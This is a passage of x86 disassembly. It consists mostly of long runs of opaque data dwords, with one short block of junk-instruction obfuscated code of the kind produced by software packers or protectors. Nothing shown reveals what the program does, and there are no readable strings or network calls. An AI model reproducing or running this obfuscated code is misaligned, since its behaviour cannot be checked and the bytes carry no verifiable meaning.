		dd 0BC5101DCh, 0CB682D1Fh, 0C1D567E3h, 0D2254255h, 0A1955021h
		dd 0BF1DEECBh, 42559D31h, 40DA8225h, 0B182081Fh, 55B646D8h
		dd 92432542h, 4213E4C1h, 0CA4BE092h, 7C15C52Eh,	44D230h
		dd 912542A9h, 97B936E0h, 14000000h, 8B3B59EFh, 0A70567CEh
		dd 0C02A67F9h, 0B8691F45h, 532120DBh, 433110A9h, 7DC9D666h
		dd 44D0DCA0h, 0DFBCAC87h, 100AB00Eh, 0F7A7CD74h, 0B46FF93Ah
		dd 3C0DEA82h, 0A27836DEh, 0B26416C6h, 0A07F8C20h, 0E6C1DDCh
		dd 0FC0F5C80h, 0BF9C4DE6h, 87373D04h, 50006CCAh, 0FC012EBEh
		dd 0AC0ABBD6h, 4C2016D1h, 0E78DB46Fh, 0B0FB30Ah, 0B2680C63h
		dd 49F99FADh, 0F59DA97h, 8DA66132h, 0CF2DFEDBh,	0A0719D41h
		dd 0B35D0EECh, 51DE7325h, 426C36BCh, 94A333C3h,	7F30C8D8h
		dd 59EF7A21h, 0E96E6579h, 42584757h, 10A35425h,	0FE3823FFh
		dd 1CCC9D6Eh, 1E9A4A8Ah, 0C9A6571Fh, 9141330Eh,	2E0B61D4h
		dd 0D8A9C373h, 839D27Ah, 0F227BC6Ch, 0EA3F5546h, 21B18CEAh
		dd 0F1D62232h, 91F327ABh, 811AC4B0h, 6CCAC0h, 74C27F2Fh
		dd 0D4601BF8h, 15E6B794h, 1321DCB7h, 4FE8A555h,	91E8C321h
		dd 0EA572DEDh, 0FA47E08Ah, 30ED9D7Ah, 6C096705h, 3, 14B65DC7h
		dd 0B6714E26h, 510CE98Bh, 0F1AC89E7h, 924D2A46h, 30EBC8A4h
		dd 0CE896606h, 6A250266h, 9C4A1CBh, 9C613E2Ah, 56E28952h
		dd 4BEh, 5EF20100h, 8704EA83h, 685C2414h, 4F9h,	57242C89h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 0C895C24h,	2DF86824h
		dd 815D5639h, 943A3BCDh, 0F7D5F708h, 88F581D5h,	0C114A00Fh
		dd 0F58107EDh, 6B00BBDh, 240C8B54h, 4C481h, 6E680000h
		dd 8900007Ch, 418F242Ch, 2434FF08h, 4C48359h, 5D2434FFh
		dd 0E904C483h, 0FFF948D6h, 0F4D0908h, 3668B893h, 0C5030624h
		dd 18ADE0FFh, 71512AF8h, 0B03C3844h, 9FF252A4h,	0C6092DCAh
		dd 83371943h, 0B0CE5F82h, 53B026FDh, 2D646D4Eh,	35D00CEAh
		dd 5FF657BCh, 401B350Eh, 349E1410h, 0ADFE25B3h,	0DDAE7E89h
		dd 0EE6D72B5h, 9AFA6873h, 4AAD4CC8h, 0C7E72828h, 0E06E7D23h
		dd 7EBD0F68h, 0C9996D04h, 0C4A00A88h, 0FAE305A8h, 60624FECh
		dd 524D4BA8h, 7A7A7D47h, 0B9DE6236h, 0B5A648BEh, 4EB5E17h
		dd 46CC3E6Eh, 564E9h, 0E193A700h, 0D3959E37h, 0C7A59029h
		dd 0B8B0841Dh, 0ABC1750Eh, 0D5AA8901h, 0C8610B61h, 0BE57016Fh
		dd 0B34CF67Ah, 563CE68Eh, 91A232C4h, 0C92F2366h, 0B5B77E3Bh
		dd 2D14B057h, 8BA6A47h,	42A66676h, 64C27325h, 37E18BABh
		dd 4FE7A39Eh, 9E6F401Dh, 393B06C1h, 0D692A15Ch,	15AA36F9h
		dd 250E0E4Dh, 2956643h,	0AE8667D1h, 3B0CDDBAh, 0A1E337DDh
		dd 912AD4A0h, 6719C9A7h, 42AEC1D5h, 0C321D225h,	0D0B6821Bh
		dd 82320371h, 1DFA6EC5h, 0CAA6914Ch, 61D6916Ch,	0ED7F1225h
		dd 2542AED9h, 0AD6839EAh, 3506E389h, 40F7B464h,	24825330h
		dd 0C6AA8E49h, 63052EE9h, 2DF8DA8h, 0F5FBB3Fh, 7E0614B8h
		dd 730CB6BAh, 44F6A6CEh, 42AE22B2h, 2114AF25h, 411C7A4Bh
		dd 42AE18B1h, 0BB5FE725h, 0FF3420CAh, 665714h, 1FB00000h
		dd 0A6CBDB6Dh, 27D82542h, 433110C9h, 1F6BD693h,	0A6775414h
		dd 0C927F8D5h, 0B2813EEEh, 0AA08D9B6h, 42A6821Ch, 2EC35325h
		dd 0EBA852BFh, 93D36639h, 487E7C56h, 55C56BC9h,	0FF14BE30h
		dd 0ABD14h, 7A0F0000h, 46402BAFh, 4AB0978h, 6C491F14h
		dd 9E682B1h, 0A582E64Eh, 0C8BC5EE2h, 0BA53FD6Bh, 0BC43ED87h
		dd 9A4A2214h, 0B7155BDDh, 561221DCh, 2BEF7979h,	90A5DD59h
		dd 732EFFDCh, 0FDCEABC5h, 58E9822Ch, 0B1843F1Ch, 0C456DEBBh
		dd 0FCC2932Fh, 23D3A968h, 427F7D91h, 7FDD8E25h,	9C4E41D9h
		dd 427FFA0Ah, 0F8560725h, 0FFE3BE40h, 81DD14h, 1F360000h
		dd 0A6CBDB6Dh, 27D82542h, 462610C9h, 0E587AE69h, 59C14508h
		dd 0B7610B2Bh, 0EEC49429h, 9E9009Dh, 2844F2ABh,	0F078BB78h
		dd 9E44213h, 0A582E64Eh, 65CE8B1Dh, 0F7552603h,	22BCC951h
		dd 5914FFB2h, 59h, 602214B2h, 0FDB895D3h, 84553236h, 4A05E2B3h
		dd 0CF9D98EEh
		dd 735021F2h, 562EEC70h, 1FDC8CE0h, 0A4C86E18h,	4825F6C7h
		dd 0E3711977h, 0A60F9F31h, 5BE62542h, 666B3C19h, 14B057B5h
		dd 0DC6C491Fh, 2542A6CDh, 0FF908A12h, 9875FF42h, 3FB169C7h
		dd 3E14FF3Ch, 1, 61211497h, 0ECBD9AD6h,	0DC8E3E1Bh, 42A6BA4Ah
		dd 0CAA69125h, 0FDB614C5h, 0C3803044h, 0BF9AF870h, 2E56C468h
		dd 20B56507h, 74AC68E3h, 99419F42h, 81F34E0Bh, 0CFF74523h
		dd 0E74E6191h, 0A064F285h, 0F64A5AECh, 0A6572542h, 0C25404D5h
		dd 1F45E6E7h, 760BBB6Ch, 25E7FAFEh, 0F57FC2AAh,	3BEBC624h
		dd 0B145D789h, 42DCA17Ch, 7CED0191h, 4DFEDCA1h,	690B36EFh
		dd 591B26BFh, 244CECA9h, 3D187647h, 0A17C13ADh,	891EAADCh
		dd 8612A479h, 0A54BA95Dh, 80320F75h, 0E28BAC02h, 0EE9E6F37h
		dd 0EF1AAA3Ch, 0F6A7DCA1h, 0EA57F098h, 4FF2AD8Ah, 0BE484825h
		dd 5B19285Ch, 759719B1h, 43A6ED1Ch, 0FF000001h,	8B3B59EFh
		dd 45BDE8F9h, 0B383401Fh, 290666CFh, 45D78758h,	0DCA073B1h
		dd 30339142h, 5AE7A27Fh, 4DE2701Ah, 0E44E9165h,	742D8B74h
		dd 0FCAA7CDh, 65654232h, 0FC453FDBh, 4833C878h,	0F44127ACh
		dd 2AC26AC8h, 0ED1DA080h, 41B7h, 58EF1000h, 5AFA8C3Ch
		dd 9C2542A6h, 0A2955DFh, 2C2F8D5Eh, 0FE0E9E7Bh,	5F2542A6h
		dd 2FFC63B7h, 47079949h, 0A92542A6h, 12CF3914h,	51AF8F90h
		dd 58ED9D4Eh, 9179B990h, 36DE3C02h, 0B5B9h, 59EF1400h
		dd 0CBC2F051h, 6815B453h, 0DE8E5F30h, 9F0A9A2Ch, 9C092542h
		dd 9D907307h, 0A4912C31h, 0EB99F7C8h, 453D3859h, 0FAAA5B1Fh
		dd 9370043Dh, 0CE8964C2h, 0BC510173h, 0A1D0C6A7h, 46EE4CD5h
		dd 3E094ADh, 0A13D6C73h, 4CE16DDCh, 80DD7CF4h, 5AB095Fh
		dd 0A2D26F15h, 88EC3AF8h, 909126D8h, 8C8FEFF9h,	1E4EDC3Ah
		dd 0E6FDE0h, 46EC896Bh,	5EBC2395h, 3DFAAA5Bh, 0C39471F7h
		dd 5F84FE30h, 0A604BF7Dh, 0D7691BCBh, 0D6FC17C7h, 0CC523D4h
		dd 0B623F35h, 9EACB367h, 1775891Bh, 63D0D6FCh, 0CE650005h
		dd 1BECBD9Ah, 0C394D460h, 7ECD8113h, 2DDEECA0h,	59EFFC83h
		dd 45F98B3Bh, 561F1ECFh, 340DC8A5h, 44FD9640h, 0AFC35330h
		dd 669C016Ah, 0A55738E2h, 0B1638313h, 15F109Dh,	0D17BF948h
		dd 8E6B0938h, 2A0761D3h, 34C6C76Fh, 9DB163A0h, 0D2AF8031h
		dd 0E08E2017h, 1DB5458Bh, 8BE2BF90h, 0E43B33E7h, 97AADA40h
		dd 0E8A533DDh, 6BF1D4Bh, 0BD5C393Bh, 1Dh, 8DE35411h, 1D24DFB0h
		dd 1F52F957h, 0B2C5DD8Ah, 0A4D19FACh, 88BA4D18h, 0D949A728h
		dd 4E261432h, 0E98BB671h, 89E7510Ch, 2A46F1ACh,	0C8A4924Dh
		dd 660630EBh, 266CE89h,	0A1CB6A25h, 3E2A09C4h, 89579C61h
		dd 4C781E7h, 83000000h,	3C8704EFh, 24248B24h, 81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 8957240Ch, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2404895Ch, 0C949CDB9h, 0FFC18102h
		dd 525B0A43h, 0F7BAA1BAh, 5AD1315Bh, 24048B54h,	6804C483h
		dd 5C4Ch, 89242C89h, 86889CDh, 2434FF5Dh, 4C48358h, 592434FFh
		dd 4C481h, 0EFE90000h, 36FFF942h, 603FA6FFh, 0BD4696EEh
		dd 3C4AB861h, 0C5030624h, 44C7E0FFh, 6B455E77h,	0B15917FEh
		dd 0E3474870h, 0B6181D73h, 0EB6A02FAh, 86B178FFh, 349842AEh
		dd 0D7D6146Eh, 0DB204034h, 0AD3433B6h, 8D8D513Ah, 6243E11h
		dd 599D8960h, 8B061D32h, 1D065185h, 8D896106h, 61D20D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F3C35545h
		dd 0FA05B63Bh, 0CA816615h, 85C7A830h, 61D331Dh,	6BC0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F6C35242h
		dd 0F56D950h, 1585h, 9E800h, 0E2B0000h,	649B0ED6h, 315A891Dh
		dd 1D337D8Dh, 0FB8B5A06h, 2BF985C7h, 61Dh, 8C0F0000h, 6
		dd 297DB58Bh, 0B5FF061Dh, 61D0201h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0B2C35646h,	6EEF3886h, 0A1852BF5h
		dd 0FF061D30h, 1D151995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0AC939B3Bh
		dd 0AB1250E9h, 9A1DBEC2h, 8D0F00A6h, 6,	2FC99D89h, 6A061Dh
		dd 120995FFh, 0C08B061Dh, 12883FEBh, 0F68F5333h, 820ABC88h
		dd 3D5F85E2h, 0D82A268Eh, 292C94C1h, 0D470CF6Eh, 3653EC24h
		dd 0A60C207Eh, 7117E6FEh, 907E265Ah, 0CC7BE979h, 0F2442EE4h
		dd 9AD5C681h, 0AF5AA0DAh, 8C9D4E5Bh, 4EB5Fh, 0E935874Fh
		dd 57Dh, 44EE86B4h, 36E088ABh, 2AD4989Dh, 1BC5A391h, 0EB8B482h
		dd 54E2D996h, 62D56E18h, 6DCB640Eh, 81C05903h, 0D16349F3h
		dd 6698AF3Fh, 4FD63C23h, 6A472D14h, 3BFB87AFh, 0B2835431h
		dd 7BF14502h, 65DC751Dh, 0CA77320Fh, 0E065FAAAh, 1DA7A7BDh
		dd 0EB0260E0h, 0A6000B58h, 81B26D48h, 0D6667608h, 0D8732542h
		dd 9040115Fh, 42D6EEFEh, 794AFB25h, 40280CC9h, 0D6EEFE90h
		dd 4AFB2542h, 0EB5611ECh, 42F1AC89h, 85F6BC64h,	380998C0h
		dd 0BA60045Bh, 30F34FF2h, 1BEC4B41h, 3E46D458h,	0C0B08703h
		dd 974112E3h, 86363AFEh, 7BB242D4h, 8E3F2542h, 49EF8830h
		dd 59A4A27h, 0D9208B67h, 4D06645Fh, 52A986EAh, 66236CAEh
		dd 0F0C19ED2h, 115FD992h, 4B44D967h, 29094465h,	1CA07382h
		dd 8B5C6CB1h, 0A7CD742Dh, 0BBAF3ACAh, 0E0702542h, 0BB089C2Eh
		dd 0E8992542h, 4F36E48Ah, 14FF215Dh, 48DCh, 2D143500h
		dd 0C0DA6A47h, 112542A6h, 0FAF49189h, 8114FF3Ch, 1, 491F14DAh
		dd 0E682B16Ch, 82E64E09h, 0BC5EE2A5h, 7F8F21D3h, 8C2542A6h
		dd 5992BDBh, 962542A6h,	65CE87E5h, 81C05903h, 813C3809h
		dd 3FE9BAB6h, 882214B8h, 7C69BAA0h, 94441593h, 9F3160D7h
		dd 2542810Fh, 3D1AEB9Ch, 81EBFB8Dh, 47F82542h, 823D1876h
		dd 56BCDB1h, 989C5734h,	0FF38F3D0h, 4DD19471h, 17A1A1CDh
		dd 0CDB58103h, 8A34056Bh, 472450F1h, 0D67DA97h,	48015F30h
		dd 0E7A27FEDh, 833E1B4Dh, 0A66D1B5h, 3AB5C39h, 3DCF5717h
		dd 46D8B580h, 254281B6h, 0E4C19243h, 0B0FB513h,	0FD6FC784h
		dd 39F14F20h, 14FF1DA7h, 8BD6h,	621F2F00h, 0ECBD9AD6h
		dd 0B61D58Eh, 0AAC2732Eh, 94860ACDh, 762646F0h,	1E2E5DE1h
		dd 26B81D70h, 25427396h, 43A17223h, 3834029Bh, 0D494A05Bh
		dd 20DD6FF7h, 0E3765321h, 4972228Dh, 0B917E87Ch, 0F3880713h
		dd 59C8AA27h, 0DE96F421h, 14FF6BDCh, 0BCB48441h, 5DEA5Eh
		dd 14430000h, 0BD6D4A22h, 0AC84E328h, 3F9DBBB2h, 0E1BEB286h
		dd 0CFC05ADEh, 5FC50E3Ah, 0C77A11DDh, 0C57EDCADh, 81B73971h
		dd 0D3A738D8h, 6F4C1C18h, 9C23CD9Eh, 99491F14h,	0A64155E7h
		dd 979C2542h, 0BD1BCCD1h, 0A64752E2h, 882542h, 3C416B1Ah
		dd 1BE14FFh, 86573440h,	1B428h,	140D0000h, 0B36E4B21h
		dd 0B209E68Eh, 0BD780C0Eh, 0F14705AFh, 7D769ED1h, 4EE99A6Ah
		dd 0A3744522h, 0A99022D2h, 3A1F4580h, 838418AAh, 7A15DCA1h
		dd 4D5B2BEh, 0CA856233h, 0B84DFD77h, 0AC3E6F2Dh, 8D35932Eh
		dd 4A274DF4h, 0A16420BAh, 0E733B7DCh, 214BEBA8h, 5C157344h
		dd 3365CDE5h, 4B2AA44Eh, 0A37D07Ah, 48DD8D6Ah, 0AD34C35Bh
		dd 813A9867h, 0D7D7B4C0h, 8AB7CD4Dh, 0F6883AEAh, 0DCA1BFE6h
		dd 3CE442F3h
		dd 1C250AA4h, 14631EDh,	0C6830000h, 0F69DFB6Dh,	8B3B59EFh
		dd 45BDE8F9h, 0C95BEB1Fh, 0DCA07335h, 0D36515C6h, 0DCA073C3h
		dd 714E1FD0h, 36FF8BB6h, 22BB6536h, 0BD78551Fh,	8340F084h
		dd 864D1B5h, 2B895A2Bh,	0EFA29550h, 0A073495Dh,	0D8A95ADCh
		dd 730140FBh, 0E0C9696h, 44D66060h, 0C9730140h,	0B2B67E3Bh
		dd 0CF2D3FF7h, 1DE99517h, 4EA4EDh, 0EFFD0000h, 1B2F7A58h
		dd 0EBB43C0h, 0B98AE253h, 0F8D77709h, 13C42542h, 0DA8EA663h
		dd 0FD11A17Ch, 622542F8h, 28FF60BAh, 4A0A9C4Ch,	0AC2542F8h
		dd 492646EFh, 6694E578h, 98A6397Bh, 9A9C373Ah, 44214FE8h
		dd 0F4C5A273h, 91FC7923h, 57000000h, 8B3B59EFh,	376544D9h
		dd 0C459A31Eh, 4C1DFA72h, 0F381C07Bh, 0B78A0795h, 58091F45h
		dd 8719CB7Bh, 0DCA1F777h, 0FD0266CEh, 0A563E88Ah, 0C0916778h
		dd 0DC98A962h, 0CCA89932h, 0BE405FEFh, 0CD59DCA1h, 0C7D7691Bh
		dd 0D4DCA1BEh, 0BE039323h, 90DCA1h, 0A1BE5E6Eh,	0E9BA6BDCh
		dd 4F35E58Bh, 1AD882F2h, 26B8680Ch, 0E6FDD021h,	2DE8C576h
		dd 0C8836014h, 6621FE6Eh, 0DBE9BCDh, 69CFB565h,	88592A07h
		dd 0D28D8D31h, 0DE702044h, 0ECA01279h, 4CD37D2Eh, 8B3B59EFh
		dd 1EC852F9h, 0BB98491Fh, 0EC494100h, 1D2A380h,	783BE57h
		dd 8EE25531h, 320FE0B1h, 23B39061h, 0ED785981h,	3E46D458h
		dd 8EE4AF03h, 73579C8Bh, 9CEA1105h, 916233F4h, 81F34EE7h
		dd 3E4BE9A4h, 7A2D18ACh, 3DF8A9E3h, 0C89976FAh,	0AE8A47F7h
		dd 0CE8964C2h, 69240173h, 0C1C4A1CFh, 3A91DD3Dh, 41008496h
		dd 51F08933h, 3A74623h,	2000000h, 2614B65Dh, 8BB6714Eh
		dd 0E7510CE9h, 46F1AC89h, 0A4924D2Ah, 630EBC8h,	66CE8966h
		dd 0CB6A2502h, 2A09C4A1h, 839C613Eh, 8F5404ECh,	4812404h
		dd 424h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	6243E60h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	eax
		sub	dword ptr [esp], 19C5021Ch
		pop	edi
		add	edi, 19C5021Ch
		mov	[ebx+8], edi
		pop	edi
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_544162
; ---------------------------------------------------------------------------
		dw 170Eh
		dd 0D41A14C9h, 827802C6h, 0F08174F8h, 434BB8F8h, 0C5030624h
		dd 8F3E0FFh, 0B082303Ah, 0E71741Dh, 33DF79CFh, 31470DDFh
		dd 4EB1C99h, 660FA9DEh,	56AE9h,	492B0F00h, 3B2D069Fh, 2F3DF891h
		dd 2048EC85h, 1359DD76h, 3D32F169h, 30C973F9h, 26BF6907h
		dd 1BB45E12h, 0BEA44E26h, 0E20A9A2Ch, 31972366h, 682D14AAh
		dd 42A6C6D6h, 5122D325h, 0D6140CA1h, 6B37E2FDh,	0BF77320Dh
		dd 19F67EC3h, 3FCD7748h, 5DBBB582h, 54ED9DA4h, 0B7724F20h
		dd 520DEA8Ah, 0EFAA87E1h, 8B462345h, 0E4E4C1ABh, 0EBAEC05Ah
		dd 70D1B367h, 77C15A04h, 82B64FF9h, 0E15611EEh,	0DD93A5h
		dd 0F1AE5E2Fh, 914C2947h, 17E8C5A3h, 0B60DE846h, 0BC7C0812h
		dd 0FFDA5EF2h, 640CB283h, 2316CD5Ch, 731DEEBFh,	5D0D67DAh
		dd 0F58519ABh, 65162542h, 0D9C2C07h, 0D22542F5h, 0BEB28542h
		dd 0A72A4EE1h, 29050813h, 0C654FA58h, 0FF8B2DBFh, 604C14h
		dd 14A50000h, 0E597472Dh, 42A64353h, 8313A525h,	102542A6h
		dd 4BA95A5Fh, 0A6C6E070h, 8F172542h, 3CF0FA8Bh,	18714FFh
		dd 0E0000000h, 0ABDF621Fh, 310EDF89h, 0EA490260h, 0A6F90D9Fh
		dd 590A2542h, 0C1C0CCC6h, 0ADB3972h, 0A7C1722Dh, 59250FCAh
		dd 0E1B28FDDh, 0EC703310h, 8BDD562Eh, 7BF948E1h, 621F4AD1h
		dd 57E999D3h, 2542A647h, 8C45A354h, 2AE5C2AAh, 82825F09h
		dd 6A0233F0h, 0D0B4660Ch, 9EC84466h, 0A8CEAFC1h, 5E0EDF8Dh
		dd 420438CCh, 4718C925h, 373D049Dh, 4DE4F287h, 3F360E89h
		dd 0EA4B06E1h, 931DA582h, 0FFFCFE87h, 779B14FFh, 0F4000000h
		dd 6D4A2214h, 0CE983B2h, 8E28BD49h, 2B01BFA4h, 7CC7D769h
		dd 23D42542h, 0CC4EF452h, 44EE7EB8h, 4E18BABh, 0A07DEB49h
		dd 42D48618h, 25427CB2h, 8A308E3Fh, 0E0EBF590h,	669214FFh
		dd 0EB000000h, 0CBDB6D1Fh, 0D82542A6h, 2610C927h, 0A6C1D567h
		dd 21D22542h, 320BA050h, 0AC64DDF5h, 0F9B48FEDh, 5154313Fh
		dd 0FF374DCDh, 67CDB183h, 98533001h, 2CFDCE9Eh,	1F14FB82h
		dd 55E79949h, 2542A641h, 6843A152h, 42A6C1D8h, 94860E25h
		dd 0FF3CFFF1h, 0BA874414h, 790CDDBAh, 0A8F9B312h, 37AB09D2h
		dd 1, 0D5621F90h, 8FEDBE9Bh, 300D5FD6h,	0CBA8CC75h, 3A4AD074h
		dd 9C771FBh, 13A55533h,	1F45B656h, 9F5C0CBDh, 9974D2A2h
		dd 611163DEh, 2BDB91A4h, 0A0560599h, 87E596DCh,	79FB46DFh
		dd 56F20C9Ch, 8509DCA0h, 2252EF95h, 92DEA78h, 56E2F284h
		dd 3EEFDCA0h, 14FD906Dh, 6CE6FB85h, 631C7A4Bh, 0FEB996DEh
		dd 54543143h, 0D3450CAh, 9A2FBD67h, 0E25581B0h,	4DE0B18Eh
		dd 260A6B5h, 1D76A04Ah,	195D7EDh, 94290000h, 0F3F27199h
		dd 73B79CF1h, 3083AF42h, 1DFA72C4h, 761D7B4Ch, 8B3B59EFh
		dd 29066ACEh, 0BA4CFA58h, 1F45BD27h, 181B6C01h,	89E4D8C4h
		dd 14E5C2AEh, 31E2E543h, 0CCA89954h, 0BCB88922h, 571D24DFh
		dd 2AF07A7Ah, 9238D065h, 0C4627204h, 0BE6FDCA0h, 0A35072Bh
		dd 3C4EF3ACh, 0F3A374FCh, 0ECB6235Eh, 46A40EF9h, 17B109Eh
		dd 0B2FF8E76h, 9A14CC2Ah, 0A1ED1D7Ah, 6Eh, 0D4621FFAh
		dd 0CF5C3A98h, 0E767F9A9h, 0B42542A6h, 0DEBE5303h, 67FAA776h
		dd 7DF8964Dh, 80514BE8h, 27B74722h, 0FE25428Dh,	99543143h
		dd 1F14CF9Dh, 71156C49h, 6C14C5A9h, 9D2FE1AEh, 25428D09h
		dd 0AD8BE99Ah, 984AFA9Eh, 0B3115BDBh, 428D2125h, 50E27225h
		dd 25428DBCh, 0F0CD9F97h, 98691A1Fh, 0B571EEh, 8C50000h
		dd 9364412Fh, 6D1F8E35h, 42A6CBDBh, 0C927D825h,	87375DEBh
		dd 45C09CF5h, 89A4C1Fh,	0DCA07CF4h, 7D82F24Fh, 44155FE2h
		dd 0F948E3E6h, 12CD9E7Bh, 9D7A4B25h, 15A93BEDh,	0A6DCA07Ch
		dd 7C708416h, 0D081DCA0h, 59E8A1FFh, 69D8711Bh,	19E2E0Bh
		dd 98DCA07Dh, 0C37E0614h, 0F34907B1h, 0A133E595h, 0DCA07F0Dh
		dd 0AB3DED9Eh, 0DCA07F1Bh, 0EB99F7A8h, 0E1F58739h, 0F2DCA07Fh
		dd 4955E341h, 4AE6FCBDh, 4001BC99h, 6EC78434h, 0F25021FEh
		dd 6214C017h, 0A7A7C0CDh, 0A8385311h, 0D6FCC414h, 0F096F4A5h
		dd 8EA8652Ah, 94A280DEh, 16AE40F0h, 0A3ECA006h,	0EFC148F2h
		dd 0F68B3B59h, 0A3D1B83Ch, 42F04E33h, 1E2014B0h, 17F4A51Fh
		dd 0E58FE55Ch, 0A095F54Ch, 4D1EEFCCh, 1755E09Dh, 300B693Ah
		dd 0C006B2A0h, 75A529BCh, 0D163320Fh, 0BCF2B93Dh, 0BF425BCEh
		dd 369A0B0Dh, 0DD97AA65h, 78C9620Ch, 487B8B1Dh,	0D788BCF2h
		dd 0C66E2906h, 290AC5A2h, 9AA7623Fh, 0A44CFDDAh, 0FDA1F876h
		dd 9ADA671Dh, 8AEA57F0h, 50241DDAh, 0EDCA9E95h,	44E3BE1Ch
		dd 14h,	0FDAF5D9Fh, 0F96A1068h,	41D1D580h, 254203ADh, 882F8D3Eh
		dd 714E2614h, 0CE98BB6h, 0AC89E751h, 4D2A46F1h,	0EBC8A492h
		dd 89660630h, 250266CEh, 0C4A1CB6Ah, 613E2A09h,	5BBE689Ch
		dd 14890000h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 68240489h, 4ACh, 51241C89h, 244405B9h, 8BC88906h, 0C483240Ch
		dd 1C8B5404h, 4C48124h,	51000000h, 8B9h, 44C18100h, 17D812Fh
		dd 44E981D9h, 897D812Fh, 34FF5901h, 0C4835B24h,	2434FF04h
		dd 4C48358h, 0F9364DE9h, 301A78FFh, 0B8AD982Eh,	6244901h
		dd 0E0FFC503h, 3B894C50h, 3139133Ah, 5CA4BECh, 4E57409h
		dd 560CCD79h, 52248480h, 3DF604EBh, 16E9595Ah, 79000006h
		dd 7009B3C1h, 62FBA5C3h, 56EF99D3h, 47E08ADEh, 5BD37DEFh
		dd 0DD8FA79Ch, 0D39D9A33h, 0C8A89029h, 0B8BC851Eh, 496280Eh
		dd 2366EFF0h, 14149B01h, 0BA6A472Dh, 553236FDh,	0C96D2684h
		dd 8B5EF3A3h, 0D77E74E3h, 8A23CB29h, 30E0BDB7h,	0F0ABC573h
		dd 7A4B2848h, 96DE631Ch, 4935FEB9h, 0FCAC7DEBh,	1D8C6A67h
		dd 0E2408DB5h, 5AC04407h, 0AD5D172Ah, 405569FBh, 0B5662542h
		dd 502D47FAh, 0E079217Fh, 0FD7B5658h, 7B06D054h, 0D16700AAh
		dd 5512C29Fh, 0DAAB88ECh, 0FC74C37Ch, 871CC81Fh, 3F4D63BAh
		dd 65790B5Fh, 76254257h, 0F096F4C5h, 99A8652Ah,	582947F1h
		dd 79F741FAh, 690B36CFh, 2F45FCB9h, 5CD3C9Ch, 72D00F75h
		dd 47F20797h, 0B53D2542h, 0DD8E2065h, 0DE7314FFh, 0E23BC152h
		dd 9D116F96h, 83h, 472D14F6h, 0A6C0DA6Ah, 89112542h, 0F341FE91h
		dd 0A6F00496h, 50012542h, 73D1A27Fh, 0FF3C31BBh, 14814h
		dd 1FA10000h, 96ABDF62h, 5F3001DEh, 9EEB4801h, 42A6F80Ch
		dd 87580925h, 1465FAAAh, 7085FB11h, 1E15CE2Ch, 92059A4Ah
		dd 66887987h, 0D7E77929h, 0E42542B0h, 3FFAD533h, 0DB9673F5h
		dd 7B36135Dh, 0FD2AFB9h, 1CDF8F8Bh, 31028298h, 42FF8D37h
		dd 0CD9E7BF5h, 0E98BB66Fh, 4DF4B13Fh, 1F22C927h, 87AED462h
		dd 0D26414E5h, 2542A6C2h, 7C01ECFh, 0A5603D2Fh,	0FDFDDA8Eh
		dd 59DDA773h, 1EDB6913h, 0A3745123h, 0BFB58C45h, 5E0E27E2h
		dd 0AB6FF981h, 0FF3AC0DAh, 797714h, 14D00000h, 0B26D4A22h
		dd 3434FF83h, 44D68657h, 2542A6B0h, 0E2BF9041h,	83601027h
		dd 22FF6DC8h, 0EE9FD167h, 0D79AD446h, 79BDC753h, 71422E09h
		dd 64082EC7h, 2168CC87h, 42A67F8Fh, 0ADB8C25h, 0FF1BA52Dh
		dd 0FF3A7486h, 5E2314h,	147C0000h, 0B26D4A22h, 65790B86h
		dd 0C02542A6h, 3FF0F573h, 0A6E9FD8Fh, 49FA2542h, 14989B78h
		dd 0B4B87E06h, 33E77C0Ah, 0B311C6Eh, 1FD77EDCh,	3997D162h
		dd 6BCBB380h, 7E4F2117h, 22FFD0A1h, 42A60792h, 0DA40C825h
		dd 4640F8B5h, 4FAD7EF2h, 0FF3C1597h, 92DEA14h, 1910563h
		dd 0EA000000h, 9B4B2114h, 9339FA06h, 881A9658h,	25429C74h
		dd 0A503D485h, 58320FCAh, 0E2B390E0h, 39DD3411h, 0DA92A3E1h
		dd 140DA230h, 1F847B0Bh, 5BF1CF2Dh, 0BB8CE453h,	0C7B0790Bh
		dd 0E3781F45h, 874B9A84h, 4559EB75h, 56DCA1BDh,	7376D4A5h
		dd 320F5DD8h, 3B39061h,	9C79FB46h, 482810CBh, 641031EAh
		dd 0CB972CBAh, 0E1F58787h, 0F2DCA18Fh, 46E6AE41h, 73AF351h
		dd 2EE0906Dh, 0A170089Ch, 8AE899DCh, 0A170E2FCh, 0A575F9DCh
		dd 0B97655EAh, 0CB5E1225h, 92BA03Ch, 77308E5Fh,	6700AACAh
		dd 37FEBBDAh, 9711A535h, 65F7DCA1h, 0DCA19751h,	11ACB162h
		dd 98694622h, 6919F6C7h, 4E187ACh, 251CD533h, 0E072724Fh
		dd 79561E23h, 5DEE15A8h, 0E1504855h, 473DDD83h,	0C7A590FAh
		dd 9E4819EAh, 38CC5E10h, 0C9DCA186h, 89660A2Eh,	0D189E7B8h
		dd 0ED1C1CDFh, 18B5Eh, 40F3B000h, 0B227B749h, 3B4DCA1h
		dd 1F2DD432h, 90B1D562h, 653607E4h, 266CD88h, 27F5D331h
		dd 0E2FF9141h, 0F11F45BDh, 0BB8CE056h, 0EA7C2EDEh, 0DCA073DAh
		dd 1FD836E7h, 0DA25222h, 0F64B900Ch, 3DD0A17Eh,	0C2207A15h
		dd 48DA8C1Ah, 0DCA0ACB4h, 68D99445h, 4CF5AE0Ch,	0DE9B4B28h
		dd 7D381557h, 87E5B6BAh, 240173CEh, 4809A24h, 83E94D3Dh
